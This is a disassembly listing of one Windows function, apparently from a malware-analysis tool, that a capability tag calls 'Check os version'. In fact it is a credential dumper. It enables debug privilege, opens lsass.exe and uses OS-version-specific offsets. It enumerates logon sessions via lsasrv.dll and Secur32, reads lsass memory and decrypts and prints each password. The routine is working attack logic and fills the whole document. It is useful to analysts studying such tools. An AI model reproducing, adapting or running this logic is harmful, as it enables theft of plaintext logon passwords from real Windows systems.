Function at 0x401430
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
mov eax, dword [0x412030]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401140
cmp eax, 1
je 0x40145a
push str.EnableDebugPrivilege_fail__
call fcn.0040185e
add esp, 4
push edi
push str.lsass.exe
call fcn.00401280
mov edi, eax
add esp, 4
mov dword [ebp - 0x2a0], edi
test edi, edi
jne 0x40149c
push str.GetProcessHandleByName_fail__
call fcn.0040185e
push str.Try_To_Run_As_Administrator_...
call fcn.0040185e
add esp, 8
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004019b3
mov esp, ebp
pop ebp
ret
push 0x94
lea eax, [ebp - 0x298]
push 0
push eax
call fcn.004019d0
add esp, 0xc
mov dword [ebp - 0x298], 0x94
lea eax, [ebp - 0x298]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [ebp - 0x294]
mov eax, dword [ebp - 0x290]
cmp ecx, 5
jne 0x401514
cmp eax, 1
jne 0x4014f5
mov dword [ebp - 0x2a4], 0x24
mov dword [ebp - 0x29c], 2
jmp 0x401531
cmp eax, 2
jne 0x401773
mov dword [ebp - 0x2a4], 0x1c
mov dword [ebp - 0x29c], 4
jmp 0x401531
cmp ecx, 6
jne 0x401773
mov dword [ebp - 0x2a4], 0x20
mov dword [ebp - 0x29c], 1
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.lsasrv.dll
call esi
push 0xe
push section..data
push 0x7fffdddd
push eax
mov dword [ebp - 0x2b0], eax
call fcn.004013d0
mov dword [ebp - 0x2c8], eax
call fcn.00401220
push dword [ebp - 0x29c]
mov ebx, eax
push dword [ebp - 0x2b0]
push edi
call section..text
add esp, 0x1c
push str.Secur32.dll
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LsaEnumerateLogonSessions
push eax
mov dword [ebp - 0x2a8], eax
call esi
push str.LsaGetLogonSessionData
push dword [ebp - 0x2a8]
mov edi, eax
call esi
push str.LsaFreeReturnBuffer
push dword [ebp - 0x2a8]
mov dword [ebp - 0x2c4], eax
call esi
mov dword [ebp - 0x2bc], eax
lea eax, [ebp - 0x2b8]
push eax
lea eax, [ebp - 0x2ac]
push eax
call edi
xor ecx, ecx
mov dword [ebp - 0x2c0], ecx
cmp dword [ebp - 0x2ac], ecx
jbe 0x401697
mov edi, dword [ebp - 0x2a0]
jmp 0x4015f0
mov eax, dword [ebp - 0x2b8]
lea esi, [eax + ecx*8]
push esi
push dword [ebp - 0x2bc]
push dword [ebp - 0x2c4]
call fcn.00401390
add esp, 0xc
lea eax, [ebp - 0x2b4]
push eax
push 0x100
lea eax, [ebp - 0x204]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x204]
cmp eax, ebx
je 0x401671
lea ecx, [ebp - 0x2b4]
push ecx
push 0x100
lea ecx, [ebp - 0x204]
push ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x1f4]
cmp eax, dword [esi]
jne 0x401667
mov eax, dword [ebp - 0x1f0]
cmp eax, dword [esi + 4]
je 0x4016fb
mov eax, dword [ebp - 0x204]
cmp eax, ebx
jne 0x401633
push str.Specific_LUID_NOT_found_n
call fcn.0040185e
add esp, 4
mov ecx, dword [ebp - 0x2c0]
inc ecx
mov dword [ebp - 0x2c0], ecx
cmp ecx, dword [ebp - 0x2ac]
jb 0x4015f0
push dword [ebp - 0x2a0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x2b8]
call dword [ebp - 0x2bc]
push dword [ebp - 0x2b0]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call edi
push dword [ebp - 0x2a8]
call edi
cmp dword [ebp - 0x29c], 1
jne 0x4016e8
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.bcrypt.dll
call esi
push eax
call edi
push str.bcryptprimitives.dll
call esi
push eax
call edi
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004019b3
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x204], ebx
je 0x401671
mov eax, dword [ebp - 0x2a4]
push 0x100
push 0
push 0x414500
movzx edi, word [ebp + eax - 0x1f2]
mov esi, dword [ebp + eax - 0x1f0]
call fcn.004019d0
add esp, 0xc
lea eax, [ebp - 0x2b4]
push eax
push edi
push 0x414500
push esi
push dword [ebp - 0x2a0]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push edi
push 0x414500
call dword [ebp - 0x2c8]
push 0x414500
push str.password:__S_n_n
call fcn.004017af
mov edi, dword [ebp - 0x2a0]
add esp, 8
jmp 0x40167e
push eax
push ecx
push str._Undefined_OS_version___Major:__d_Minor:__d_n
call fcn.004017af
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop edi
call fcn.004019b3
mov esp, ebp
pop ebp
ret